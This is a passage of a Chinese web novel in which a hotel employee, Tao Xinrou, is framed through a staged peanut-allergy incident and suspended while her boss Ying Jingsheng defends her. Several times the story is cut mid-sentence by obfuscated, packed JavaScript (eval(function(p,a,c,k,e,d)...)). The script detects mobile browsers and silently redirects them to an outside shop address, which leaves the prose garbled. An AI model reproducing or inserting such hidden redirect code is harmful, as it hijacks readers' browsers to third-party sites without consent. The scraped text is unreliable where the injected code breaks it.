陶新柔也渐渐放松下来，一边听师傅讲解，一边拿着竹条开始制作。 而赵思丽就是在这时举着手机窜到两人的身边。 她悄悄拍了拍陶新柔的肩膀道：“你们亲密一点，我这拍出来不像情侣。” 陶新柔瞪了赵思丽一眼，应景晟没说话，稍稍朝陶新柔站近了一步。 “笑一笑，要显得甜蜜一点，你也别老板着脸，互动，你们要互动起来。” 赵思丽对着两人一阵猛拍后，才放心地去拍其他客人。 陶新柔捏了捏手中的竹条，脚步悄悄往边上挪了一点。 她可不敢离总裁太近。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵思丽镜头一转，又对准陶新柔和应景晟：“二位也看向我这里。” 赵思丽这一嗓子，直接把两人都架在了火上烤。 陶新柔停住动作，不知道该怎么办。 拒绝吧，显得矫情，毕竟对外他们是情侣；不拒绝吧，她怎么敢碰应景晟的手？ “配合一下嘛。”赵思丽央求。 隔壁的情侣也在看热闹，女生笑嘻嘻道：“小姐姐别害羞呀，你男朋友又不是第一次牵你手了。” 是第一次！就是第一次！ 陶新柔咬了咬下唇，正准备开口拒绝，余光里却看见应景晟的手伸了过来。 他的手指修长，骨节分明，就那么安静地摊在她面前，等着她把手放上去。 陶新柔更慌张了，她要是碰到应景晟的手，不就…… 没等她反应过来，应景晟已经拉过她的手，搭了上去。 未来画面席卷而来—— 偌大的办公室内，应怀山猛地站起来：“你查我？” “泄露公司核心商业机密，给集团造成直接经济损失超过两千万，按照公司章程和公司法，应副总，您需要给董事会一个解释。” “应景晟！你好大的胆子，我可是给云麓贡献了20年，你算什么东西？再说了，我可是你二叔！” “我确实不算什么，但这些，你自己看吧。”应景晟将手中的文件夹甩在应怀山面前。 阳光从会议室的落地窗照进来，也照亮了面前的文件。 她看不清那些文件上的字，但看清了应怀山的表情。 是震惊、害怕、恐惧以及对未来的焦虑。 “不可能！不可能……这都是假的！” …… 画面泯灭。 陶新柔猛地回过神来，发现自己的手还被应景晟握着，她表情呆滞，还带着点震惊，她看到他正看着她，眉头微微蹙起。 “怎么了？”应景晟的声音把她拉回现实，“你脸色不太好。” “没、没什么，对不起，我去下洗手间。”陶新柔慌忙抽出手，离开了现场。 所以这就是他要查的…… 她原本以为，他一直在查父亲的旧案，想向他求助，却没料到，他真正要查的是别的事。 但有一点她现在确定了，他们的目标一致，都是应怀山。 31. 第三十一章 一个小时后，竹编体验结束。 大家都拿着各自的作品欣赏，赵思丽也微笑着走到大家面前道：“各位辛苦了，接下来是我们的茶歇时间，酒店特意为这次的活动准备了非遗主题的定制甜品，请大家移步到休息区品尝。” 休息区的长桌上，精致的点心摆成了几排。 有桂花糕、绿豆糕、芝麻糖，还有几款造型别致的中式酥点，每一款旁边都立着小牌子，写着名称和主要原料。 客人们陆续走过去，端起了盘子。 不知是不是听了那对情侣的话，应景晟比陶新柔先一步走到餐盘前，拿起一个盘子起递给她。 “想吃什么就拿。” 应景晟说完便自顾自去拿甜品，陶新柔点点头，实则大脑还停留在刚才的画面上。 他到底什么时候会查到父亲的案子，父亲的案子又怎么会跟应怀山有关系。 他知道多少？他查到了多少？ 正想着，她看见身后的老夫妻不知该怎么选糕点。 老太太似乎眼神不好，每看一款都凑近身子去看上面的字。 直到老太太扭捏地拉了拉陶新柔的袖子道：“小姑娘，奶奶眼神不好，你能帮我看看这都是什么吗？” 陶新柔点点头，笑着说：“奶奶你想吃什么？这里有桂花糕、绿豆糕、芝麻糖，您想吃哪款？” 老太太笑了笑，指着最右边那盘金黄色的酥点道：“那个看着挺香，帮我拿两块吧。” 陶新柔顺着她手指的方向看过去，是花生酥。 她拿起碟子，夹了两块放上去，又贴心地问：“奶奶，那个桂花糕也是酒店的招牌，您要不也尝尝？” “好啊，谢谢你啊，小姑娘真贴心。”老太太接过碟子。 “不客气，奶奶等下你想吃什么，我再帮您拿。” 陶新柔笑了笑，看来等推出活动时，得让餐饮部把字体做大一点。 大家都挑好了各自想吃的东西，陶新柔也坐在应景晟对面品尝起甜品来，两人没有任何交流。 她也不敢看他，刚才的一幕实在给了她太大的冲击，幸好应景晟也只顾看其他客人的动态。 大家正沉浸在休闲的氛围中时，忽然有东西掉落的声音传来，随后是一声巨响。 “老婆子！老婆子你怎么了？” 一声惊呼传来。 陶新柔猛地回头，只见刚才那位老太太歪倒在沙发上，脸色发青，嘴唇微微发紫，呼吸急促，老先生慌张地站起身，颤颤巍巍地摇着她的肩膀。 陶新柔脑子里“嗡”的一声，拔腿就冲过去。 与此同时一起过去的还有应景晟和赵思丽。 她挤到老太太身边，凭借着酒店人应有的急救知识，蹲下来查看情况：“奶奶，奶奶您能听到我说话吗？” 老太太没有回应，眼睛半闭着，呼吸越来越弱，而她的嘴里还残留着食物残渣，看症状像是…… “她怎么了？刚才还好好的。”老先生急得脸都快皱到一起。 陶新柔的目光顿时落在老太太手边的碟子上，是那块花生酥，已经吃掉了一半。 “是花生过敏！”陶新柔回头看向应景晟。 四周一片倒抽冷气的声音，人们纷纷围了过来。 “奶奶对花生过敏吗？”她抬头问老先生。 老先生愣了一下：“过敏？她……她好像是对什么过敏，但我记不清了，我们平时不在外面吃饭，难道她是因为花生过敏？” “先别说了，思丽，快打120！” “好，我已经打了。”赵思丽飞速地拨下电话，说清酒店的地址。 等赵思丽打完电话，应景晟的眉头也深锁起来：“赵思丽，酒店收集资料的时候，有没有问过过敏源？” “当然问了，我们都是按客户填写的资料准备的。” 赵思丽看向老先生，他坚定回答道：“肯定是花生过敏，就是花生过敏！你们酒店怎么准备的？我家老婆子该怎么办啊？” 应景晟也蹲下身查看老太太的状况，脸色沉了下来，他掏出手机打给医务室：“来几个人，带上急救箱，有客人发生过敏反应了。” 老先生急得直跺脚：“酒店的人呢？酒店的人怎么都不出来？要是我老婆子有事，你们酒店的都脱不了干系！” “爷爷您先别急，我就是酒店的工作人员，我是客房部的陶新柔，这次活动是我们主办的，120马上就来了，您别着急，奶奶肯定会没事的。”陶新柔安慰着，随后就准备先做些急救措施。 只是老先生却情绪激动，他一把攥住陶新柔的衣服：“原来你是酒店的人！要是我老婆子有个三长两短，我让你抵命！” “老先生，您先别激动，我们先送您夫人去医院，这件事我们酒店肯定有责任，我们会负责到底的。”应景晟站出来，拉过陶新柔，快速把她带到身后。 “原来你们都是酒店的人，那正好，大家都给我做个见证，我家老婆子就是吃了她拿过来的花生酥晕倒的，肯定是她不怀好意往里面放了什么，才让我家老婆子这样的，我不管你是谁，你必须给我赔偿！” 老爷子咄咄逼人，陶新柔让自己镇定下来。 “爷爷，这件事我一定会负责到底的，您放心，不论您怎么说，我都会给您和奶奶一个交代的。”陶新柔拿出自己的工牌给老先生看。 “你现在别装着嘴甜，我家老婆子就是被你害成这样的，你都必须负责到底！” 老先生在大厅里闹着，不时有人探头看情况，他完全不顾应景晟等人的劝阻，连几个客人也在一旁袖手旁观。 五分钟后，救护车的鸣笛声由远及近。 老太太被抬上担架的时候，呼吸已经平稳了一些，但人还没完全清醒。 老先生跟着上了救护车，他本想拉陶新柔一起上车，被医护人员拦住了。 临走前又恶狠狠地瞪了陶新柔一眼：“你给我等着！” 车门关上，救护车呼啸而去。 回到休息区，剩下的几个客人都想离开了，安抚好其余客人，陶新柔、赵思丽、应景晟站在原地，还有一桌子没动几口的甜品，像是刚才那一幕的见证。 “新柔，你别急，这不是你的错，老太太也没说她花生过敏，不然我们今天肯定不会上这道甜品。”赵思丽在一旁安慰着。 陶新柔却像是听不见，她低着头，回想着刚才的一切，手指冰凉。 花生过敏。 老太太吃了她帮忙拿的花生酥。 资料里没有过敏记录。 但这些，现在说出去，谁信？ 还没过多久，应景晟的手机就响了，他眉头紧皱地接起电话，神色凝重，看起来来电人身份不一般。 等他挂了电话后，才说：“总部不知道从哪儿听说了这件事，现在要派人过来调查。” “什么？总部怎么会知道这件事的？” 赵思丽大惊失色，陶新柔感觉浑身的血液都仿佛凝固了。 有一种不好的预感蔓延开来。 “我先去应付这件事，赵思丽，这里留给你处理了。”说完，应景晟就转身离开，刚走出一步，又似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351704|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎想到什么，转身看了一眼陶新柔道，“你别怕，这件事我来处理。” 虽然有了应景晟这句话，但陶新柔还是不免担心起来。 她坐在大厅里，双手紧紧地捏着衣角。 偌大的休息区，刚刚还一片热闹，转眼就只剩死寂。 刚才的一幕幕还在眼前，可一切都已急转直下。 陶新柔不知道这件事会有怎样的一个结果，但若让总部知道这件事，大概率是要受到处罚的。 等了一小时，医院传来消息，老太太脱离危险，但需要住院观察几天。 与此同时，有一位同事匆匆跑来：“陶新柔，小应总让你去一趟会议室。” 果然，预感的一切就要来了。 * 陶新柔被叫进会议室的时候，里面已经坐了好几个人，人事部部长，魏浩，还有一位她没见过的人，样貌端庄，穿着西服打着领带，陶新柔心想应该是总部派来的某位高层，以及坐在一旁脸色铁青的应景晟。 她刚走进去，魏浩直接发话：“陶新柔，今天的事请你解释一下。” 事情很简单，陶新柔把经过从前到后原原本本说了一遍，包括酒店的收集材料里老太太没有填写有过敏记录的事。 魏浩皱着眉翻看手里的资料：“客户资料我看过了，确实没有过敏史这一项，但问题是，客人不这么想，他们认为是你们服务不周，没有主动询问。” “事情发生后，我问了老先生是否有登记……” “那是事后。”总部高层突然插话，“事前你为什么没问？” 陶新柔沉默了一秒，正想着要不要说她也在假装客人的事，应景晟已经开口了：“高部长，当时我和陶新柔也假扮成了客人，不方便以酒店服务员的身份露面，这个我刚才就已经说过了。” “哦？那当时是谁以酒店服务员的身份来做接待的？” 被喊高部长的人眼睛一乜，似是随意地看着应景晟，显然是想把矛头引开。 “当时负责接待的是宣传部的一位同事，按照内测流程，她负责引导客人、收集反馈，至于是否主动询问，按酒店标准流程，对于提前报备过过敏史的客人，我们会做特别标注和提醒；对于没有标注的，服务员没有权限强行询问客人的健康状况，这涉及隐私和边界。” 高部长微微眯起眼睛，仿佛根本不把应景晟放在眼里：“所以你的意思是，这件事跟那位负责接待的同事没关系，跟你们也没关系？” “我的意思是，问题不在某一个人身上，而在流程的漏洞上。客人没有提供信息，系统没有强制提醒，服务员没有追问的权限，三个环节任何一个出问题，都会造成今天的结果，我们现在要做的，是补上这些漏洞，而不是找一个人出来背锅。” 会议室里安静了几秒。 人事部长和魏浩交换了一个眼神，都没说话。 高部长盯着应景晟看了一会儿，忽然笑了一下：“小应总，我想你在外国生活了那么久，刚回国还不知道，酒店的工作标准是什么，是客户至上！我们要把客人永远当成最亲近的人，难道你在面对最亲近的人的时候，会表现得如此冷漠吗？难道问一句‘您对什么过敏’这么难吗？” 会议室里再次陷入沉默，没有人说话。 就连应景晟都在小心斟酌接下来要说的话。 高部长冷哼一声，又继续道：“我就简单点告诉你吧，为什么我会这么着急过来，那对夫妇，不仅是酒店的VIP客户，而且是云麓集团最早的股东之一。” 在场的所有人都瞪大了眼睛。 32. 第三十二章 股东之一？ 不仅陶新柔倒吸一口凉气，就连魏浩和人事部部长也为之一振。 高部长继续道：“老爷子姓沈，二十年前跟着应老先生一起打江山，云麓第一家企业开业的时候，他投了三分之一的身家进去。后来集团扩张，他年纪大了，慢慢退出了管理层，但股份一直留着，直到现在，他手里还有集团百分之一的股份。” 百分之一…… 陶新柔在心里快速算了一笔账，云麓集团市值几百亿，百分之一就是…… 她不敢再往下想了。 “老太太是他发妻，两人从穷日子一起熬过来的。现在人躺在医院里，他能善罢甘休？沈老爷子年轻时在商场上结了不少善缘，现在集团里好几个董事都欠他人情，他要是铁了心闹，能把半个董事会的人都拉下水，你们现在还觉得这件事如此容易吗？” 会议室里落针可闻。 魏浩擦了擦额头的汗，人事部长低着头不知道在想什么，应景晟的脸色依然平静，但陶新柔注意到他放在桌上的手指微微收紧了。 应景晟沉默了几秒才冷静开口：“正因为沈老爷子是我们重要的客户，才更不应该草率处理。” “哦？”高部长挑了挑眉。 “沈老爷子是集团的重要人物，他想看的肯定不是我们处理谁，而是我们怎么处理这件事，如果我们现在为了平息他的怒气，随便推一个人出去顶罪，他只会觉得云麓内部管理混乱，出了问题只会甩锅，这样的公司，值得他继续支持吗？” 高部长眯起眼睛，没有说话，示意他继续。 “反过来，如果我们诚恳道歉，承认流程上的不足，拿出切实可行的整改方案，并且让他看到我们对每一位客人都热心对待，一视同仁地负责，他反而会觉得云麓有规矩，有底线，也会更支持。” 高部长点了点头，应景晟继续道：“更何况，他老伴现在还在医院，他最需要的是老伴平安，而不是看我们在这里互相推诿。高部长，我已经让人去医院送过花篮了，也安排了专人陪护，等老太太情况稳定，我会亲自去道歉。” 魏浩和人事部部长都点点头，非常认同应景晟的做法。 陶新柔也瞬间舒了一口气，这下总部应该不会为难他们了。 只是…… 高部长盯着他看了好一会儿，忽然笑了一下，这笑容里似乎不是认同，而是嘲讽。 “小应总，没想到我说的这么简单了，你还是不明白啊。” “高部长，我觉得这已经是我能拿出来的最有诚意的态度了。” 高部长转正身体，不再随意，而是看着应景晟一字一顿道：“行，既然这样，那我就只能告诉你总部的意见了。”高部长把眼神放在陶新柔身上，大手一挥，“她，必须停职调查！” 一番话，在座的各位都倒吸一口凉气。 看来这件事确实很简单，就是要找一个背锅的。 应景晟思索了片刻，嘴角才露出一丝冷漠的笑容：“高部长，没想到总部已经想得这么明确了。” 高部长这才露出看似和善的笑容：“毕竟集团不能得罪一个对集团有功劳的人。” 陶新柔坐在那儿，手指攥紧了又松开，松开了又攥紧。 她听懂了，什么流程漏洞，什么整改方案，什么诚意道歉，统统不重要，重要的是，她就是一个蝼蚁，总部想让她走，她就得走。 此刻，应景晟的脸越发铁青了，他死死地盯着高部长追问：“如果我说，我不同意呢？” 高部长扬了扬眉：“小应总，你这话，是在跟总部的决定对抗？” “我不是对抗总部的决定，而是云麓能做到今天，靠的不是推人出去顶罪，是我们处理事情的态度，我觉得，这并不是一个让人满意的答复。高部长，这件事麻烦您回去向总部汇报，或者，我现在可以跟您一起去总部。”应景晟已经站起身，准备跟高部长一起走了。 “小应总，你既然这么不到黄河心不死，那我只能打电话了。” 片刻后，他挂下电话：“走吧，应副总也正好想跟你谈谈。” 应景晟神色冷冽：“那就请高部长带路吧。”说完，又回头看了陶新柔一眼道，“我没回来之前，不许出酒店。” 会议室里的人前脚刚离开，赵思丽后脚就跑进了会议室，她红着眼眶：“新柔，我刚才在听他们说什么要停你的职，凭什么！我跟你一起在现场，我也没问，要停一起停！” 赵思丽说着就要冲出去，陶新柔急忙拉住她：“思丽，你别冲动。” “我没冲动！我现在就去找他！让他也把我停职！我看他敢不敢！” “这是总部的决定。” “总部？总部怎么会做这样的决定？这不合理！” 陶新柔其实也感觉奇怪，这件事从发生到把老太太送进医院，前后不过一个小时，且这件事的知晓范围并不大，总部是怎么知道这件事的，又为什么会牵扯到应怀山，除非…… 一个想法在陶新柔的脑海里蔓延开了。 除非这件事本身就是针对她的。 看来自上次她没有答应张宏斌的眼线任务后，他们又想到了其他招数。 陶新柔的心又往下坠了几分。 查案之路阻碍重重，父亲的冤屈何时才能够洗净？ “那我去找外公，让他帮忙。” “思丽，别去了，这件事没那么简单。” “什么意思？” “我们就等你表哥回来听结果好吗？” 赵思丽拗不过陶新柔，只能急得干瞪眼。 但陶新柔知道，这件事，90%的结果是确定的。 * 与此同时，医院的VIP病房里，窗明几净，白色的纱窗被风吹动着，偶尔有几丝花香味传来。 沈老太太平卧着，脸色还有些苍白，她呼吸平稳，但眉间还皱着，像是在做不太好的梦。 沈老爷子坐在床边，握着她的手，眼眶湿润。 床头柜上摆着一个精致的花篮，卡片上写着“云麓酒店全体员工祝您早日康复”。 沈老爷子拿起那张卡片看了又看，嘴角浮起一丝让人怜悯的笑。 “我们这么做，就能让晓峰没事了吧？” 沈老爷子没回头，在他的身后，站着的是一个身穿黑色西服的男人，正是应怀山的秘书严明。 “沈老爷子，您放心，应总做事向来迅速，绝对不会拖泥带水。” 他把带来的水果和鲜花放在了一旁，鞠了一躬告别：“希望您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359197|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人早日康复，我就先走了。” 等男人离开后，沈老爷子的思绪又在翻滚。 十六年了…… 十六年前的债，这下终于可以还清了吧。 他低下头，额头抵着老伴的手背，闭着眼睛，胸口那颗悬了十六年的石头，总算可以落了地。 儿子能回来了，他的案底，应该不会再被人翻出来了。 只是他那傻老太婆，为了儿子，不惜拿自己的性命去赌。 他轻轻摩挲着老伴的手背，又气又怜：“你啊，真是傻得可怜。” 正说着，手机屏幕已然跳出“应怀山”三个字。 看来有些人做事确实很迅速。 “沈叔，水果和花篮都收到了吧？” “收到了收到了，你费心了。”沈老爷子握着手机点着头。 “您别客气，这是应该的，婶子身体怎么样？医生怎么说？” “没什么大碍，就吃了一口，都没敢下肚，医生说再观察两天就能出院。” “那太好了，这次真是辛苦您和婶子了。对了，婶子的医药费您别操心，我全包了，让她安心养病，我还请了最好的医生，整个楼层都只有您跟婶子两个人，一切都不用担心。” 沈老爷子握着手机的手颤抖的厉害。 这话听着是关心，可他知道是什么意思。 “好、好……” 只是这声“好”，说的像是个闹剧。 “行，那您早点休息。改天我去看您。” 电话挂了。 沈老爷子盯着手机屏幕，盯着那个刚刚结束的通话记录，一动不动。 片刻后，他才反应过来，要把这段记录清除。 要不是儿子十六年前犯的错误，他们也不用这样躲躲藏藏，但幸好，这件事总算有了个结局。 他们可以安度晚年了。 * 等了一个下午，陶新柔都没等到应景晟回来。 白班员工下班，晚班员工接班。 酒店大堂里客人也陆陆续续多了起来，而另一边的沙发上，却坐着早已表情僵硬的陶新柔，和不停踱步的赵思丽。 旋转门开开合合，傍晚的风比刚才更凉了。 看着赵思丽在旁边来回踱步，嘴里念念有词，陶新柔比她还煎熬，手机紧紧地攥在手里，心也悬在半空。 “怎么还不回来，这都几点了！我哥到底在搞什么鬼，总部开会能开这么久吗？”赵思丽急不可耐地看了一眼手机，恨不得让应景晟从手机里钻出来。 “思丽，要不你先回去……” “我不回！我不听到结果绝对不回去！”她态度坚决，像只炸毛的小猫，随时准备扑上去咬人。 她不能左右她的思想，只好噤声等待。 又等了十几分钟，酒店大堂的玻璃门终于被推开。 应景晟从车上下来，脸色比离开前更冷了，他脚步很快地走进大堂，身边人纷纷躬身致意。 陶新柔也站起身，消息来了。 赵思丽一个箭步冲上去：“表哥，怎么样了？” 她一开口，整个大厅的人都朝他们的方向望来。 应景晟没理她，目光直接落在陶新柔身上道：“下班时间到了，回家吧。” 33. 第三十三章 他冷言。 陶新柔一愣，这是……什么意思？ 他看了她两秒，又说了一遍：“先回家。” 赵思丽倒像是听懂了意思，她着急道：“什么叫先回家？这不就是要停新柔职的意思吗？表哥你怎么回事，你不是去帮新柔说话的吗？为什么还是这个结果？” “你知道什么，我说了先回家。” “不行，你不把这件事的结果说清楚，谁都不能走，今天新柔也不能回家！”她死死拉住陶新柔的手臂，不让她走。 应景晟叹了口气，只觉得赵思丽太单纯了，但他已经说得十分明确了，不再多言，抬起脚步再度离开。 “应景晟！你到底什么意思啊？凭什么要新柔走，而我不走？我也在现场！我也没问！要停一起停！” “思丽，你别这样。”陶新柔赶紧拽住她。 “我不！”赵思丽声音尖锐，“这不公平！那个老太太自己没填资料，凭什么怪你！她老公那是什么眼神，好像是你故意害她似的，你明明什么都没做错！” 赵思丽鼻子一酸，用力眨了眨眼，仿佛这番话连同憋了很久的愤怒都一起喊了出来。 而应景晟却已然回头，但他什么都没说，只是看着两人。 陶新柔走过去安慰赵思丽：“思丽，你先回去，这件事肯定会有个好结果的，而且……小应总也已经给了答复了。” “这叫什么处理结果？你都被停职了！”赵思丽再也忍不住，她跑到应景晟面前，“哥，你再去求求爷爷好不好，别让新柔停职，要停职也该是我的责任，内测的想法也是我出的，该担的责任也不能少了我啊。” 应景晟看着赵思丽拉着他的衣角，像小时候一样，遇到困难只会想到他。 他叹一口气，才说道：“思丽，这件事没那么简单，我会安排，但现在，该做的是，冷静。” 陶新柔来到他们身后，完全听懂了应景晟的意思。 即便是他在那样的位置上，也不可能阻碍集团的决定。 “但我冷静不了。”赵思丽像个撒泼的孩子，泪水夺眶而出。 陶新柔赶紧过去安慰赵思丽：“思丽，你放心，只要酒店需要我，我肯定会回来的，你先去安心上班，我到家了就给你打电话好不好？” 赵思丽擦了擦眼泪，半晌才妥协地点点头。 “可是……好吧，那你一定要给我打电话。” 陶新柔点点头：“嗯。” “一定要打电话。” “嗯。” “要是有什么不好的消息，你一定要第一时间告诉我，我不能让你就这么离开酒店。” 陶新柔愣了一下，下意识看了一眼应景晟。 他站在旁边，面无表情。 赵思丽一步三回头地走了，走出老远还回头冲她挥手。 门口重新安静下来。 风比刚才更凉了，吹得陶新柔的头发乱飞。 应景晟站在她面前，颀长清瘦的身影，像是夜色里一棵沉默的树。 她不知道该说什么，也不知道该往哪儿走。 “这么晚了，你一个人回去不安全，我让司机送你回去。”应景晟看向王安然，示意他让司机等一下。 陶新柔摇头：“我打个车就好。” “司机还在门口，现在上车还来得及。” 是陈述句，容不得人反驳。 陶新柔也不再拒绝，她点点头。 “到了告诉我。” “好。” 陶新柔走过去，拉开车门，然后回头看了一眼。 应景晟还站在原地，身姿笔挺，目光落在她身上。 路灯把他的影子拉得很长，她挥了挥手，道了声“再见”。 车开出去很远，她从后视镜里看见，那个人还站在那里，一动不动，似是某种无声的守护。 陶新柔心神不宁地坐在车上，她看着窗外飞速倒退的风景，脑海里一遍遍回放白天的事。 她突然在想，当时有没有什么可疑的人物。 她记得有个独自来的中年男人，不说话，也不跟人交流，甚至在体验的时候，也只是敷衍了事。 难道…… 这个人就是来看戏的？ 还是说，他是来确保这场戏按剧本演下去的？ 陶新柔握紧手机，看着窗外的霓虹。 也许，这从来就不是一场意外。 也许，有人从一开始，就在等她拿那个花生酥。 * 陶新柔甫一离开，赵思丽就在电梯口拦住了应景晟。 “表哥，这到底是怎么回事，总部为什么要停新柔的职？” 应景晟回头看着她，叹了口气又问：“酒店没你想的那么太平，派系斗争比你想象的要复杂。” “可是新柔是被冤枉的，那个老太太自己没填资料，凭什么怪她？”赵思丽眼眶还红着，“你不是去帮她说话了吗？怎么还是这个结果？” “你以为我只是去帮她说话？” 赵思丽一愣：“那不然呢？” “我去，是为了知道总部到底想干什么。” “想干什么？” “你知道今天那个老太太是谁吗？” “不就是个普通客人吗？” “她是二伯的人。” “啊？二伯？这件事怎么又跟二伯有关系了？” “内测活动出了事，客人投诉到总部，总部直接介入处理，跳过酒店的所有流程，你觉得这是巧合？那个老太太和她先生，就是总部安排的。” “你是说……这是冲新柔来的？” 应景晟点点头。 “为什么？新柔一个小员工，碍着他什么了？” 应景晟看着她，目光里有一丝复杂：“因为她查的事，和二伯有关。” 赵思丽彻底愣住了。 “新柔在查二伯？” “是，她进入酒店，就是为了查她父亲的事。我早就告诉过你，在酒店要注意分寸，你当着那么多人的面，跟陶新柔热络，你知不知道，你这么做，等于告诉所有人，陶新柔是应家四小姐的朋友，是有人罩着的。” “那不是好事吗？这样别人就不敢欺负她了啊。”赵思丽不明白。 “那你有没有想过为什么她还是被停职了？” 赵思丽摇摇头。 “二伯本来可能只是怀疑她在查什么，你这一闹，他直接确定了陶新柔值得关注。一个普通的客房部员工，为什么能让应家四小姐这么上心？她身上一定有什么秘密。” 赵思丽的脸色变了。 她从来没想过这个角度。 她只是想保护陶新柔，想让别人知道她不是好欺负的。 可结果，反而害了她。 “我不知道……我以为这样对新柔是好的……”赵思丽声音渐渐小了下去，她低着头，不知所措。 “我知道你是好意，但好心有时候会办坏事。” 赵思丽低着头，沉默了很久。 “这件事我会安排的，你去好好工作。” “你怎么安排？怎么让新柔回来工作？你知道吗？新柔从小就可怜，小时候不小心掉进水里，差点没了命，好不容易活下来，她爸又意外过世了，她一个人既要照顾生病的妈妈，还要勤工俭学，大学的时候，她什么都干过，兼职做各种事，下了班还去菜场抢菜，冬天她只有一件羽绒服，洗了第二天干不了，她就穿着湿的出门……” 应景晟听着，目光微微闪动。 他没回答，只是迈步往办公室走去。 “表哥，新柔那么喜欢你，你不能见死不救吧？” 应景晟顿了下脚步，回头看了她一眼，那眸光里似乎装着全部答案。 “我说了，我自然会安排，你只需要知道，她不会有事。” * 回到家的时候，母亲已经睡着了，陶新柔蹑手蹑脚地走进去，拿出换洗的衣服，去浴室里浸泡自己。 一天的疲惫并不能被热水冲刷，她还在想明天怎么跟母亲解释自己这几天可以不用上班。 或许可以谎称请了年假，这几天可以在家里好好陪陪母亲的借口。 但她入职还没一年，母亲会不会怀疑…… 罢了，还是不想这些了，不要带着坏心情入睡。 但，肚子却不争气地传来咕噜的声音。 因为等消息，竟然忘记吃晚饭了。 洗完澡出来，她翻了翻冰箱，只剩几个青椒和萝卜，还有一盘母亲晚上做的翅尖。 干脆做个青椒翅尖炒饭好了。 饭刚刚拌下去，就有开关门的声音。 陶新柔不用回头，就知道是应景晟回来了，但她还是习惯性地回头望了一眼。 “你怎么？……” 话还没说完，应景晟就把手上拎着几个外卖袋递了过来。 “买了点吃的，听思丽说你晚上没吃饭。” 陶新柔低头看那个袋子，是她喜欢的一家日料店，白色的打包盒，上面印着熟悉的logo。 她忽然不知道该说什么。 那家店，并不顺路。 “拿着。”他又往前递了递。 陶新柔接过来，心里有一股暖流：“谢谢小应总。”声音有点干。 “说了在家的时候不用叫我‘小应总’。” “那……好吧。”陶新柔想了半天还是没办法开口，最后只说了句“谢谢你”。 应景晟点点头，转身要走。 “等一下。”陶新柔说道。 他回过头。 “我做了点炒饭，要不要一起吃？” 她猜，他这么快回来，应该是处理完她的事就赶回家了，也还没吃饭。 应景晟看了她一眼，然后点了点头。 为了不打扰已经休息的母亲，两人站在厨房里，厨房很小，两人之间的距离很近。 近到陶新柔都能感受到她的头顶方向，有应景晟的鼻息传来。 锅里的炒饭还在冒着热气，她给应景晟盛了一碗，本来只是普通的剩菜炒饭，怕他吃不惯，又打了两个鸡蛋进去，想让这顿饭看起来不那么寒酸。 “没想到你做的饭还挺好吃的。” “真的吗？” “嗯。” 陶新柔的眼睛亮了一下，能得到总裁的夸赞，真是太好了！ “我妈身体不好，有时候怕她太累，就跟着学了一点儿，不过都只是能下咽的家常菜，比不上你们家那种。” 应景晟没说话，陶新柔以为这个话题结束了，只低着头自顾吃饭。 而对面的人，却不自觉地停下了手，看着她。 片刻后才道：“我很小就出国了，在英国没人照顾，都是自己做饭， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366962|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候家里人都很忙……” 陶新柔抬起头，看到他把目光放在不知道什么地方，表情很淡，看起来像是在回忆。 父亲忙，母亲忙，祖父更忙。 云麓集团从一家小酒店做到现在的规模，每一步都踩在刀尖上，没有人敢停下来。 他七岁那年，父亲把他叫到书房。 “景晟，你该出国了。” 十岁的应景晟站在那里，看着父亲桌上的文件堆得像小山一样高，看着窗外祖父的车刚刚开进院子又很快开走，看着母亲在走廊里接电话的背影。 他没有问为什么。 他知道答案，因为他是应家的孩子，云麓的孩子都要去学那些国内学不到的东西，所有的应家人都在各自的轨道上奔跑，他也不能停下来。 所以他只是点了点头，淡淡应声：“好。” 英国的寄宿学校，一群金发碧眼的孩子里唯一一张东方面孔。 他英语不够好，听不懂老师在说什么，也听不懂同学在笑什么。 第一周，他一个人坐在食堂角落里，吃着那些味同嚼蜡的食物，看着别人三五成群，没人过来跟他说一句话。 晚上回到宿舍，他躺在床上，盯着天花板，想家。 想家里的厨师做的红烧肉，想母亲身上那股淡淡的香水味，想经常外出的父亲回家后都会摸一下他的头。 他想了很久，然后爬起来，给家里打了个电话。 接电话的是管家。 “三少爷，老爷出差了，太太在开会，老太爷今天飞香港了，您有什么事吗？我可以转达。” 应景晟握着话筒，沉默了几秒。 “没事，就是问问家里好不好。” 挂了电话，他回到床上，继续盯着天花板。 十岁的他，已经学会了隐藏。 那时候他就明白了，在这个家里，每个人都有一堆事情要忙。 想念是最没用的东西，说了也没人听，听了也没人顾得上。 十五岁那年，他逼迫自己学会做饭。 